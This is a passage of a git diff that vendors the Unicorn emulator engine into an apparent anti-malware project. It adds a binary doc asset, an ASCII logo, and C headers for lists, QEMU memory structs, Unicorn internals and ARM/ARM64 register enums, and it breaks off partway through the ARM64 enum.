zR7fk6MDs@qU)=2s3_p{w5>s<47I||;d$7X%r5NUC(j&H5IQ{v<*g!zr+Q1ptpzn8* zg`hoJfphu{7h%<Jz@j3VGB*sZepy!XG|ML?H(u6LIEAfLC*nrz1zwpEvqkD1e3c+l zj7gZCSbbA}AKRq*?7#oEBYgxxKYtu6fFEs&Zu&8a>K5;7SmR=2GYqrV<iu>)hMawq zVT@_{2?l^s)I7L#f~hU68!{1uv^dZx1^(8_AZG`2w*>4wc4%gKmAx&i+n*3@)N@i0 z7Zz`Ma(ay{7dSh6x}%6Oqo6aYQRWUMEhZztMl)b17~S;Ry>W6}c9>&VF`u0j6t2u6 zOluZQ%tCl-^#a}wD)!5oG2Ii|_W-}a^Z3~1W(8#y&3HUg7!Hu9nQ1Dw^dffuRuOm( zCm_d#RODYXx429%`CG<6%$XF}*&NPl*&KZi$b?rdPJ1H%G8`h!GUB6u^`@}WYsf*G zuwTU=V-KI?E<-IFZPb^%1~+UM>T)Kgc87rN#D-Vbewy2Il>xxS4^g5fabJsPxP_u2 zN2kzp(-1(frpF@h)^tUD;%K@G%#Ppc++g{80pXmB(EA4A7Lq<yt{s|OIZ24?alPaK zSa^h5>e($VRC5~(QSN=dh`2TzS3aXv&dJ0o3LouK5BdZZD#p1oCaZvScvD&Mr9K5G z3q`K83gRsO>8dK|WuIH_#ji0)Nz)bAVfh|YdM^y)9p8dpmKPVFU`F!(P0@JjTH+35 zCs)6xfT2`76o`eu_8OPSz{F(H1lvXCkGU?URlV~ix>G`$LXIpe$w|@I5(&Q5Vo^H- zG%}w)6tb(!$AE*ED)XUY$(zn4$AiTeGT1!tbX94)nXw%o%`EIMd<-$FDMo;E4&PH` z#>y!T<;)T$^$RaF-LA&t&wWMOnz|Q*_no1(N-3%dud0-B|GILk8_ukwe|jJDyS~FA zj%(b(8l}#r^MEWSe@tU~kG|YPS9Zd6Y{_7Q9M61rek+*k&7%OwD=D1?f74#dx<%bi z;4|TpUedR1Yfj;U8pr`*ymYg?b(Z)xM1#;Z+NhnD%uF*>qBgWOt@+omj(M&_x01lv z<buQNa|q!kI+?GVd(a8QB>H4IMNUs%*93asfuM&VaEvFTdU@!F1I5CXEM;fS1T`c0 zxJMv@IV--GUn{I;bjW-p5mHk)rSIMl9Dgs$@q1&*4NsH1b>xR?Dg|^j389ndrei`U zt=#PzN^>fNGb`(%q0j3(34?Yg=jk7ae#%i2f0vdtf5__aa){>Ps-)HLB=p1I+La09 zw730hEGv=yVXuSYHfQIIDCt$Atq{q4Uu86eH{0Cuga8<CnT?TNW4#{`v|C=4tctoN zJ<y}0RV1!4#e7<sALt9TERW}1n)0}*x-~G)RoY?6o|1U-Qg}i>De*gIZ>L0QRdMv8 ziyGBoV@8f`K~lW$eRQI*;MG`(-Vj@~35yLD3>zra*XF?)x$dgagW7iy4D#2I=Z_=8 z1zp((#$6H~FUx*kXzzGk^P^y?STJ*r+C1g4JVgrml^BCeRU^R0N3nZNAi-jsVNGeO znw;j>7F6$4H|*IIb@U}MS?kH~NSHJN+@ht6Oq$5^7&t{F7W@oda8Khj?ks|?{?jRQ z`q9?KxIDFc&(UX42sB|xV7svJq$!QHk-I^2h4<S%X8#BW#JRyK+gCWVuRUW-iSZjR z_xCrqW{bBM2QYy_xzqCfBO@e?;PGRU(N?`%zm)rATh@2}ck!R>m89mN9^1;Vj=z$5 zKgY$B?}bf0kzgt<nALMz-r!k#XW~aWnQPr!RF9X3=qgf5RW$?kBi$od6Aiv!`F?%p z!JnQ`UNsVu7v!Iw&IJ%l{JIwvC&yrWzI@CM+EM8w=yTNMKu4@W-$@*|(sickremJ~ zbwC{I{(^L~F*)$bQi|(hxYAp5B>5>H{WxINCMyPZoRU7Qj|AzSQJEw*xz#Q-NVVg7 zc8_#jj1sT87<K#Ri{tk#tcdyu%RgoJ4~&*mtF)16=W>o1lH*6uGb|;Wf7Qt(Ab=ZP zAt;ZdSHUJEkibxEz^h1Jrmdn&^mjM8FOwfu>~fi?slXCwlt1Y%XCWi=#yBM!-2dc9 zsz8*G%C@iW7JO`mVu$!e|BWegL<VMqsJRI}k89dZu(>mc&-I`Zxa}8x4dO+YK88%h zXSE>*EHF-={}$o6Fb4DkWPRfOx~>$fp_}JL7wa~X(>?LFdWAGA7UuUNe<l8?4ELn# zBq*VD(o7CGljZz`S7m*-()>>^S|-7)NqWsWE}X3&mK9$EHN4XqjgoZxuh9sX2ds$~ zNh0_=+0OV6tmh#r*Ae1&Jn{)##-$y^%+y2za5V?wKU!KBzsqB@_f(EACUBPz{#1=G zy%Yd~2TpwU`=kP=cIH3mHNtn8+FGBX;#EZBQqI(+_hPldzJ`HE!^yHuo<-TRJlTgx z_c%*rDZt}k^SWVzGZ9`X{^~gz#>GmnVbC5<I9wGqj*wdVpWeV;{@J&Va_xR`wmm^9 z({8kQlzk6J;=4KF&vTq<hF?)ww5v=%#PX~(F^y5Hc@yN#C};YYCgB4ICogbW$@>Jk z`d)I49Vc@s6UdoRB;+aOYCYRsh^p*&TC-~a=Fg6T(@~1@PXbe6i=K67#N^y@m}RE4 zn1>$_fL3fM>WnjqHlh&@oo~GbP7Ha|3o7OOhUa%(h9TQ3rUZR{DRUD7Xfq2ua>g@E zVE;P7abKEVD&Apb9L$K!K?XB?365w?XFeU#;;Yxb58kh-AI9?Q*{1Xb3)PMOD6z&l z1N1niQmtd`Pnmun%=|eRvo3dhP4)x|7@_HKn(%{-*`Z7*{F)_OlsDJk)8GMzgYo!2 z_ofeeb3U=<0qZ~Yf>|u)K$wBXNr*kE3_kOV9|paOjXI7e3I~==c}c7((Iws4Pca9& z6zw3-u920Q!*?dY2^0h_MCoEoC3YQ+?&HvcI(+aS{zch4ZO<SEt1)vZ1zWJRJbD6n zNg}Cz-T*Bdlq#m37+OWYd_+1#+LkE4<OuMC(|(;fc){YKS53U|&YRAxXsEvO{_M~3 zl_mKvK#@zH@t+lJGEitu_;1-NwzO6j*<6mOMev-0k!>YT)qHv#5$s~CPZk7D8jVE_ zdDJd`w*HYU*E9*;`c2lvHoi0>(^dB`@IId*X18iQME8y(O>>oE41Eg=id+aa^4rA6 zyEB~4-nFxHDy~2X&sX93!q&fgLo7~e^niY8s5gSO-(eVE-(xiXPLOa*Qa-{%Q4?*r znEfNf`mV8$1@2i*x&7(Xp`;-g(%b04zr<s~?jL07aDr>F)n9FSc~ruWK=ASJ$?iLY z8i}I%`QA7z1Py+<^b1JmDYv3R2|{(32O53}F$9USg(ul4!L~<yoWZ=$f0G(GI<>3U zuB?C|KlZx$=aN!xJPXNE&C{EEq?4!%4x79t&#%$$m9LY5KC@{by5k_0KepRnyoq(} zo|tgJFq$p1pID%S?~)FBh4P=+zC&x*F*865eEW>EZfN?JNX%cKbMr_?W5i<kEfer~ zgDyD|H6uG{#>%?q{9E2*9yDKk<tV3@nQm1X`Rxrrx3m+NRU{wKg+-hh6Cde3LLJ=( z^ZcsG#1|FDlt@vkFA(1KrP>SAS(ve!<o+aI1tL&7pMsv3zu^<`kq>L@R9lRP>`wI` z6;~GYWlsP>rp;j3ve#cp9rRBNG~A7d-geTlTC7`%PjEK|^QxE)rK>O<f4;kser&3> zum;d<>^IANlrJGJ+(oaa?7Ct-V**(fye7Ic_J1O9MkL?#|NcH8eAr3pP-(jZVybfx zehx4s&o#v^f4j4`5pUKN5ux~}n$So%v@`(_aYQ8RC8J;x^ydGa68RI|(XJ4bQEk|f zfU|0Y(6@X66JdLZrh%j{DRo=~aH06v9udKQURVKhPJRD;seSUOJK`*ItfV!u<}jv| z)Ww3p7gO<={!S?9P62v|_#`qmtYNo&!F5fl`XmKCA4A6Tm1eEpf3NdRleWsJzKS9O z+VpWBv2E9&O&#ro{A&1saD3x$HK>z-|0bP@81gKN)baSm3I`b~L?U=j3eY26?IcUp zXC1<~WrRquArRweW!v@PIbL_OOq#kT=+Ely{{1#yq-uOpBJvkSE`SdD|FwKZ2zZC7 X7i*8*QDFD{^zq1iSCFU_GYtG6NDaSh literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/unicorn-logo.txt b/ai_anti_malware/unicorn/unicorn-master/docs/unicorn-logo.txt new file mode 100644 index 0000000..3b6e96a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/docs/unicorn-logo.txt @@ -0,0 +1,19 @@ + /\'. _,. + |:\ \. .'_/ + _.- |(\\ \ .'_.' + _.-' ,__\\ \\_),/ _/ + _:.' .:::::::.___ ,' + // ' ./::::::\<o\( + // /|::/ `"( \ + ;/_ / ::( `. `. + /_'/ | ::::\ `. \ + '// '\ :::':\_ _, ` _'- + / | '\.:/|::::.._ `-__ )/ + | | \;| \:( '.(_ \_) + | | \( \::. '-) + \ \ , '""""---. + \ \ \ , _.-...) + \ \/\. \:,___.-'..:::/ + \ |\\:,.\:::::'.::::/ + ` `:;::::'.::;::' + '":;:""' diff --git a/ai_anti_malware/unicorn/unicorn-master/include/list.h b/ai_anti_malware/unicorn/unicorn-master/include/list.h new file mode 100644 index 0000000..5699e0a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/list.h @@ -0,0 +1,33 @@ +#ifndef UC_LLIST_H +#define UC_LLIST_H + +#include "unicorn/platform.h" + +struct list_item { + struct list_item *next; + void *data; +}; + +struct list { + struct list_item *head, *tail; +}; + +// create a new list +struct list *list_new(void); + +// removed linked list nodes but does not free their content +void list_clear(struct list *list); + +// insert a new item at the begin of the list. +void *list_insert(struct list *list, void *data); + +// append a new item at the end of the list. +void *list_append(struct list *list, void *data); + +// returns true if entry was removed, false otherwise +bool list_remove(struct list *list, void *data); + +// returns true if the data exists in the list +bool list_exists(struct list *list, void *data); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/include/qemu.h b/ai_anti_malware/unicorn/unicorn-master/include/qemu.h new file mode 100644 index 0000000..0d7b5dd --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/qemu.h @@ -0,0 +1,51 @@ +/* By Dang Hoang Vu <dang.hvu -at- gmail.com>, 2015 */ + +#ifndef UC_QEMU_H +#define UC_QEMU_H + +struct uc_struct; + +#define OPC_BUF_SIZE 640 + +#include "sysemu/sysemu.h" +#include "sysemu/cpus.h" +#include "exec/cpu-common.h" +#include "exec/memory.h" + +#include "qemu/thread.h" +#include "include/qom/cpu.h" + +#include "vl.h" + +// This two struct is originally from qemu/include/exec/cpu-all.h +// Temporarily moved here since there is circular inclusion. +typedef struct RAMBlock { + struct MemoryRegion *mr; + uint8_t *host; + ram_addr_t offset; + ram_addr_t length; + uint32_t flags; + char idstr[256]; + /* Reads can take either the iothread or the ramlist lock. + * Writes must take both locks. + */ + QTAILQ_ENTRY(RAMBlock) next; + int fd; +} RAMBlock; + +typedef struct { + MemoryRegion *mr; + void *buffer; + hwaddr addr; + hwaddr len; +} BounceBuffer; + +typedef struct RAMList { + /* Protected by the iothread lock. */ + unsigned long *dirty_memory[DIRTY_MEMORY_NUM]; + RAMBlock *mru_block; + QTAILQ_HEAD(, RAMBlock) blocks; + uint32_t version; +} RAMList; + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/include/uc_priv.h b/ai_anti_malware/unicorn/unicorn-master/include/uc_priv.h new file mode 100644 index 0000000..77773b7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/uc_priv.h @@ -0,0 +1,269 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015 */ + +#ifndef UC_PRIV_H +#define UC_PRIV_H + +#include "unicorn/platform.h" +#include <stdio.h> + +#include "qemu.h" +#include "unicorn/unicorn.h" +#include "list.h" + +// These are masks of supported modes for each cpu/arch. +// They should be updated when changes are made to the uc_mode enum typedef. +#define UC_MODE_ARM_MASK (UC_MODE_ARM|UC_MODE_THUMB|UC_MODE_LITTLE_ENDIAN|UC_MODE_MCLASS \ + |UC_MODE_ARM926|UC_MODE_ARM946|UC_MODE_ARM1176|UC_MODE_BIG_ENDIAN) +#define UC_MODE_MIPS_MASK (UC_MODE_MIPS32|UC_MODE_MIPS64|UC_MODE_LITTLE_ENDIAN|UC_MODE_BIG_ENDIAN) +#define UC_MODE_X86_MASK (UC_MODE_16|UC_MODE_32|UC_MODE_64|UC_MODE_LITTLE_ENDIAN) +#define UC_MODE_PPC_MASK (UC_MODE_PPC64|UC_MODE_BIG_ENDIAN) +#define UC_MODE_SPARC_MASK (UC_MODE_SPARC32|UC_MODE_SPARC64|UC_MODE_BIG_ENDIAN) +#define UC_MODE_M68K_MASK (UC_MODE_BIG_ENDIAN) + +#define ARR_SIZE(a) (sizeof(a)/sizeof(a[0])) + +#define READ_QWORD(x) ((uint64)x) +#define READ_DWORD(x) (x & 0xffffffff) +#define READ_WORD(x) (x & 0xffff) +#define READ_BYTE_H(x) ((x & 0xffff) >> 8) +#define READ_BYTE_L(x) (x & 0xff) +#define WRITE_DWORD(x, w) (x = (x & ~0xffffffffLL) | (w & 0xffffffff)) +#define WRITE_WORD(x, w) (x = (x & ~0xffff) | (w & 0xffff)) +#define WRITE_BYTE_H(x, b) (x = (x & ~0xff00) | ((b & 0xff) << 8)) +#define WRITE_BYTE_L(x, b) (x = (x & ~0xff) | (b & 0xff)) + + +typedef struct ModuleEntry { + void (*init)(void); + QTAILQ_ENTRY(ModuleEntry) node; + module_init_type type; +} ModuleEntry; + +typedef QTAILQ_HEAD(, ModuleEntry) ModuleTypeList; + +typedef uc_err (*query_t)(struct uc_struct *uc, uc_query_type type, size_t *result); + +// return 0 on success, -1 on failure +typedef int (*reg_read_t)(struct uc_struct *uc, unsigned int *regs, void **vals, int count); +typedef int (*reg_write_t)(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count); + +typedef void (*reg_reset_t)(struct uc_struct *uc); + +typedef bool (*uc_write_mem_t)(AddressSpace *as, hwaddr addr, const uint8_t *buf, int len); + +typedef bool (*uc_read_mem_t)(AddressSpace *as, hwaddr addr, uint8_t *buf, int len); + +typedef void (*uc_args_void_t)(void*); + +typedef void (*uc_args_uc_t)(struct uc_struct*); +typedef int (*uc_args_int_uc_t)(struct uc_struct*); + +typedef bool (*uc_args_tcg_enable_t)(struct uc_struct*); + +typedef void (*uc_args_uc_long_t)(struct uc_struct*, unsigned long); + +typedef void (*uc_args_uc_u64_t)(struct uc_struct *, uint64_t addr); + +typedef MemoryRegion* (*uc_args_uc_ram_size_t)(struct uc_struct*, hwaddr begin, size_t size, uint32_t perms); + +typedef MemoryRegion* (*uc_args_uc_ram_size_ptr_t)(struct uc_struct*, hwaddr begin, size_t size, uint32_t perms, void *ptr); + +typedef void (*uc_mem_unmap_t)(struct uc_struct*, MemoryRegion *mr); + +typedef void (*uc_readonly_mem_t)(MemoryRegion *mr, bool readonly); + +// which interrupt should make emulation stop? +typedef bool (*uc_args_int_t)(int intno); + +// some architecture redirect virtual memory to physical memory like Mips +typedef uint64_t (*uc_mem_redirect_t)(uint64_t address); + +// validate if Unicorn supports hooking a given instruction +typedef bool(*uc_insn_hook_validate)(uint32_t insn_enum); + +struct hook { + int type; // UC_HOOK_* + int insn; // instruction for HOOK_INSN + int refs; // reference count to free hook stored in multiple lists + bool to_delete; // set to true when the hook is deleted by the user. The destruction of the hook is delayed. + uint64_t begin, end; // only trigger if PC or memory access is in this address (depends on hook type) + void *callback; // a uc_cb_* type + void *user_data; +}; + +// hook list offsets +// mirrors the order of uc_hook_type from include/unicorn/unicorn.h +enum uc_hook_idx { + UC_HOOK_INTR_IDX, + UC_HOOK_INSN_IDX, + UC_HOOK_CODE_IDX, + UC_HOOK_BLOCK_IDX, + UC_HOOK_MEM_READ_UNMAPPED_IDX, + UC_HOOK_MEM_WRITE_UNMAPPED_IDX, + UC_HOOK_MEM_FETCH_UNMAPPED_IDX, + UC_HOOK_MEM_READ_PROT_IDX, + UC_HOOK_MEM_WRITE_PROT_IDX, + UC_HOOK_MEM_FETCH_PROT_IDX, + UC_HOOK_MEM_READ_IDX, + UC_HOOK_MEM_WRITE_IDX, + UC_HOOK_MEM_FETCH_IDX, + UC_HOOK_MEM_READ_AFTER_IDX, + UC_HOOK_INSN_INVALID_IDX, + + UC_HOOK_MAX, +}; + +#define HOOK_FOREACH_VAR_DECLARE \ + struct list_item *cur + +// for loop macro to loop over hook lists +#define HOOK_FOREACH(uc, hh, idx) \ + for ( \ + cur = (uc)->hook[idx##_IDX].head; \ + cur != NULL && ((hh) = (struct hook *)cur->data); \ + cur = cur->next) + +// if statement to check hook bounds +#define HOOK_BOUND_CHECK(hh, addr) \ + ((((addr) >= (hh)->begin && (addr) <= (hh)->end) \ + || (hh)->begin > (hh)->end) && !((hh)->to_delete)) + +#define HOOK_EXISTS(uc, idx) ((uc)->hook[idx##_IDX].head != NULL) +#define HOOK_EXISTS_BOUNDED(uc, idx, addr) _hook_exists_bounded((uc)->hook[idx##_IDX].head, addr) + +static inline bool _hook_exists_bounded(struct list_item *cur, uint64_t addr) +{ + while (cur != NULL) { + if (HOOK_BOUND_CHECK((struct hook *)cur->data, addr)) + return true; + cur = cur->next; + } + return false; +} + +//relloc increment, KEEP THIS A POWER OF 2! +#define MEM_BLOCK_INCR 32 + +struct uc_struct { + uc_arch arch; + uc_mode mode; + uc_err errnum; // qemu/cpu-exec.c + AddressSpace as; + query_t query; + reg_read_t reg_read; + reg_write_t reg_write; + reg_reset_t reg_reset; + + uc_write_mem_t write_mem; + uc_read_mem_t read_mem; + uc_args_void_t release; // release resource when uc_close() + uc_args_uc_u64_t set_pc; // set PC for tracecode + uc_args_int_t stop_interrupt; // check if the interrupt should stop emulation + + uc_args_uc_t init_arch, cpu_exec_init_all; + uc_args_int_uc_t vm_start; + uc_args_tcg_enable_t tcg_enabled; + uc_args_uc_long_t tcg_exec_init; + uc_args_uc_ram_size_t memory_map; + uc_args_uc_ram_size_ptr_t memory_map_ptr; + uc_mem_unmap_t memory_unmap; + uc_readonly_mem_t readonly_mem; + uc_mem_redirect_t mem_redirect; + // TODO: remove current_cpu, as it's a flag for something else ("cpu running"?) + CPUState *cpu, *current_cpu; + + uc_insn_hook_validate insn_hook_validate; + + MemoryRegion *system_memory; // qemu/exec.c + MemoryRegion io_mem_rom; // qemu/exec.c + MemoryRegion io_mem_notdirty; // qemu/exec.c + MemoryRegion io_mem_unassigned; // qemu/exec.c + MemoryRegion io_mem_watch; // qemu/exec.c + RAMList ram_list; // qemu/exec.c + BounceBuffer bounce; // qemu/cpu-exec.c + volatile sig_atomic_t exit_request; // qemu/cpu-exec.c + bool global_dirty_log; // qemu/memory.c + /* This is a multi-level map on the virtual address space. + The bottom level has pointers to PageDesc. */ + void **l1_map; // qemu/translate-all.c + size_t l1_map_size; + /* code generation context */ + void *tcg_ctx; // for "TCGContext tcg_ctx" in qemu/translate-all.c + /* memory.c */ + unsigned memory_region_transaction_depth; + bool memory_region_update_pending; + bool ioeventfd_update_pending; + QTAILQ_HEAD(memory_listeners, MemoryListener) memory_listeners; + QTAILQ_HEAD(, AddressSpace) address_spaces; + MachineState *machine_state; + // qom/object.c + GHashTable *type_table; + Type type_interface; + Object *root; + Object *owner; + bool enumerating_types; + // util/module.c + ModuleTypeList init_type_list[MODULE_INIT_MAX]; + // hw/intc/apic_common.c + DeviceState *vapic; + int apic_no; + bool mmio_registered; + bool apic_report_tpr_access; + + // linked lists containing hooks per type + struct list hook[UC_HOOK_MAX]; + struct list hooks_to_del; + + // hook to count number of instructions for uc_emu_start() + uc_hook count_hook; + + size_t emu_counter; // current counter of uc_emu_start() + size_t emu_count; // save counter of uc_emu_start() + + uint64_t block_addr; // save the last block address we hooked + + int size_recur_mem; // size for mem access when in a recursive call + + bool init_tcg; // already initialized local TCGv variables? + bool stop_request; // request to immediately stop emulation - for uc_emu_stop() + bool quit_request; // request to quit the current TB, but continue to emulate - for uc_mem_protect() + bool emulation_done; // emulation is done by uc_emu_start() + bool timed_out; // emulation timed out, that can retrieve via uc_query(UC_QUERY_TIMEOUT) + QemuThread timer; // timer for emulation timeout + uint64_t timeout; // timeout for uc_emu_start() + + uint64_t invalid_addr; // invalid address to be accessed + int invalid_error; // invalid memory code: 1 = READ, 2 = WRITE, 3 = CODE + + uint64_t addr_end; // address where emulation stops (@end param of uc_emu_start()) + + int thumb; // thumb mode for ARM + // full TCG cache leads to middle-block break in the last translation? + bool block_full; + int size_arg; // what tcg arg slot do we need to update with the size of the block? + MemoryRegion **mapped_blocks; + uint32_t mapped_block_count; + uint32_t mapped_block_cache_index; + void *qemu_thread_data; // to support cross compile to Windows (qemu-thread-win32.c) + uint32_t target_page_size; + uint32_t target_page_align; + uint64_t next_pc; // save next PC for some special cases + bool hook_insert; // insert new hook at begin of the hook list (append by default) + struct list saved_contexts; // The contexts saved by this uc_struct. +}; + +// Metadata stub for the variable-size cpu context used with uc_context_*() +// We also save cpu->jmp_env, so emulation can be reentrant +struct uc_context { + size_t context_size; // size of the real internal context structure + size_t jmp_env_size; // size of cpu->jmp_env + struct uc_struct* uc; // the uc_struct which creates this context + char data[0]; // context + cpu->jmp_env +}; + +// check if this address is mapped in (via uc_mem_map()) +MemoryRegion *memory_mapping(struct uc_struct* uc, uint64_t address); + +#endif +/* vim: set ts=4 noet: */ diff --git a/ai_anti_malware/unicorn/unicorn-master/include/unicorn/arm.h b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/arm.h new file mode 100644 index 0000000..a0fd83e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/arm.h @@ -0,0 +1,157 @@ +/* Unicorn Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_ARM_H +#define UNICORN_ARM_H + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> ARM registers +typedef enum uc_arm_reg { + UC_ARM_REG_INVALID = 0, + UC_ARM_REG_APSR, + UC_ARM_REG_APSR_NZCV, + UC_ARM_REG_CPSR, + UC_ARM_REG_FPEXC, + UC_ARM_REG_FPINST, + UC_ARM_REG_FPSCR, + UC_ARM_REG_FPSCR_NZCV, + UC_ARM_REG_FPSID, + UC_ARM_REG_ITSTATE, + UC_ARM_REG_LR, + UC_ARM_REG_PC, + UC_ARM_REG_SP, + UC_ARM_REG_SPSR, + UC_ARM_REG_D0, + UC_ARM_REG_D1, + UC_ARM_REG_D2, + UC_ARM_REG_D3, + UC_ARM_REG_D4, + UC_ARM_REG_D5, + UC_ARM_REG_D6, + UC_ARM_REG_D7, + UC_ARM_REG_D8, + UC_ARM_REG_D9, + UC_ARM_REG_D10, + UC_ARM_REG_D11, + UC_ARM_REG_D12, + UC_ARM_REG_D13, + UC_ARM_REG_D14, + UC_ARM_REG_D15, + UC_ARM_REG_D16, + UC_ARM_REG_D17, + UC_ARM_REG_D18, + UC_ARM_REG_D19, + UC_ARM_REG_D20, + UC_ARM_REG_D21, + UC_ARM_REG_D22, + UC_ARM_REG_D23, + UC_ARM_REG_D24, + UC_ARM_REG_D25, + UC_ARM_REG_D26, + UC_ARM_REG_D27, + UC_ARM_REG_D28, + UC_ARM_REG_D29, + UC_ARM_REG_D30, + UC_ARM_REG_D31, + UC_ARM_REG_FPINST2, + UC_ARM_REG_MVFR0, + UC_ARM_REG_MVFR1, + UC_ARM_REG_MVFR2, + UC_ARM_REG_Q0, + UC_ARM_REG_Q1, + UC_ARM_REG_Q2, + UC_ARM_REG_Q3, + UC_ARM_REG_Q4, + UC_ARM_REG_Q5, + UC_ARM_REG_Q6, + UC_ARM_REG_Q7, + UC_ARM_REG_Q8, + UC_ARM_REG_Q9, + UC_ARM_REG_Q10, + UC_ARM_REG_Q11, + UC_ARM_REG_Q12, + UC_ARM_REG_Q13, + UC_ARM_REG_Q14, + UC_ARM_REG_Q15, + UC_ARM_REG_R0, + UC_ARM_REG_R1, + UC_ARM_REG_R2, + UC_ARM_REG_R3, + UC_ARM_REG_R4, + UC_ARM_REG_R5, + UC_ARM_REG_R6, + UC_ARM_REG_R7, + UC_ARM_REG_R8, + UC_ARM_REG_R9, + UC_ARM_REG_R10, + UC_ARM_REG_R11, + UC_ARM_REG_R12, + UC_ARM_REG_S0, + UC_ARM_REG_S1, + UC_ARM_REG_S2, + UC_ARM_REG_S3, + UC_ARM_REG_S4, + UC_ARM_REG_S5, + UC_ARM_REG_S6, + UC_ARM_REG_S7, + UC_ARM_REG_S8, + UC_ARM_REG_S9, + UC_ARM_REG_S10, + UC_ARM_REG_S11, + UC_ARM_REG_S12, + UC_ARM_REG_S13, + UC_ARM_REG_S14, + UC_ARM_REG_S15, + UC_ARM_REG_S16, + UC_ARM_REG_S17, + UC_ARM_REG_S18, + UC_ARM_REG_S19, + UC_ARM_REG_S20, + UC_ARM_REG_S21, + UC_ARM_REG_S22, + UC_ARM_REG_S23, + UC_ARM_REG_S24, + UC_ARM_REG_S25, + UC_ARM_REG_S26, + UC_ARM_REG_S27, + UC_ARM_REG_S28, + UC_ARM_REG_S29, + UC_ARM_REG_S30, + UC_ARM_REG_S31, + + UC_ARM_REG_C1_C0_2, + UC_ARM_REG_C13_C0_2, + UC_ARM_REG_C13_C0_3, + + UC_ARM_REG_IPSR, + UC_ARM_REG_MSP, + UC_ARM_REG_PSP, + UC_ARM_REG_CONTROL, + UC_ARM_REG_ENDING, // <-- mark the end of the list or registers + + //> alias registers + UC_ARM_REG_R13 = UC_ARM_REG_SP, + UC_ARM_REG_R14 = UC_ARM_REG_LR, + UC_ARM_REG_R15 = UC_ARM_REG_PC, + + UC_ARM_REG_SB = UC_ARM_REG_R9, + UC_ARM_REG_SL = UC_ARM_REG_R10, + UC_ARM_REG_FP = UC_ARM_REG_R11, + UC_ARM_REG_IP = UC_ARM_REG_R12, +} uc_arm_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/include/unicorn/arm64.h b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/arm64.h new file mode 100644 index 0000000..0f66518 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/arm64.h @@ -0,0 +1,344 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_ARM64_H +#define UNICORN_ARM64_H + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> ARM64 registers +typedef enum uc_arm64_reg { + UC_ARM64_REG_INVALID = 0, + + UC_ARM64_REG_X29, + UC_ARM64_REG_X30, + UC_ARM64_REG_NZCV, + UC_ARM64_REG_SP, + UC_ARM64_REG_WSP, + UC_ARM64_REG_WZR, + UC_ARM64_REG_XZR, + UC_ARM64_REG_B0, + UC_ARM64_REG_B1, + UC_ARM64_REG_B2, + UC_ARM64_REG_B3, + UC_ARM64_REG_B4, + UC_ARM64_REG_B5, + UC_ARM64_REG_B6, + UC_ARM64_REG_B7, + UC_ARM64_REG_B8, + UC_ARM64_REG_B9, + UC_ARM64_REG_B10, + UC_ARM64_REG_B11, + UC_ARM64_REG_B12, + UC_ARM64_REG_B13, + UC_ARM64_REG_B14, + UC_ARM64_REG_B15, + UC_ARM64_REG_B16, + UC_ARM64_REG_B17, + UC_ARM64_REG_B18, + UC_ARM64_REG_B19, + UC_ARM64_REG_B20, + UC_ARM64_REG_B21, + UC_ARM64_REG_B22, + UC_ARM64_REG_B23, + UC_ARM64_REG_B24, + UC_ARM64_REG_B25, + UC_ARM64_REG_B26, + UC_ARM64_REG_B27, + UC_ARM64_REG_B28, + UC_ARM64_REG_B29, + UC_ARM64_REG_B30, + UC_ARM64_REG_B31, + UC_ARM64_REG_D0, + UC_ARM64_REG_D1, + UC_ARM64_REG_D2, + UC_ARM64_REG_D3, + UC_ARM64_REG_D4, + UC_ARM64_REG_D5, + UC_ARM64_REG_D6, + UC_ARM64_REG_D7, + UC_ARM64_REG_D8, + UC_ARM64_REG_D9, + UC_ARM64_REG_D10, + UC_ARM64_REG_D11, + UC_ARM64_REG_D12, + UC_ARM64_REG_D13, + UC_ARM64_REG_D14, + UC_ARM64_REG_D15, + UC_ARM64_REG_D16, + UC_ARM64_REG_D17, + UC_ARM64_REG_D18, + UC_ARM64_REG_D19, + UC_ARM64_REG_D20, + UC_ARM64_REG_D21, + UC_ARM64_REG_D22, + UC_ARM64_REG_D23, + UC_ARM64_REG_D24, + UC_ARM64_REG_D25, + UC_ARM64_REG_D26, + UC_ARM64_REG_D27, + UC_ARM64_REG_D28, + UC_ARM64_REG_D29, + UC_ARM64_REG_D30, + UC_ARM64_REG_D31, + UC_ARM64_REG_H0, + UC_ARM64_REG_H1, + UC_ARM64_REG_H2, + UC_ARM64_REG_H3, + UC_ARM64_REG_H4, + UC_ARM64_REG_H5, + UC_ARM64_REG_H6, + UC_ARM64_REG_H7, + UC_ARM64_REG_H8, + UC_ARM64_REG_H9, + UC_ARM64_REG_H10, + UC_ARM64_REG_H11, + UC_ARM64_REG_H12, + UC_ARM64_REG_H13, + UC_ARM64_REG_H14, + UC_ARM64_REG_H15, + UC_ARM64_REG_H16, + UC_ARM64_REG_H17, + UC_ARM64_REG_H18, + UC_ARM64_REG_H19, + UC_ARM64_REG_H20, + UC_ARM64_REG_H21, + UC_ARM64_REG_H22, + UC_ARM64_REG_H23, + UC_ARM64_REG_H24, + UC_ARM64_REG_H25, + UC_ARM64_REG_H26, + UC_ARM64_REG_H27, + UC_ARM64_REG_H28, + UC_ARM64_REG_H29, + UC_ARM64_REG_H30, + UC_ARM64_REG_H31, + 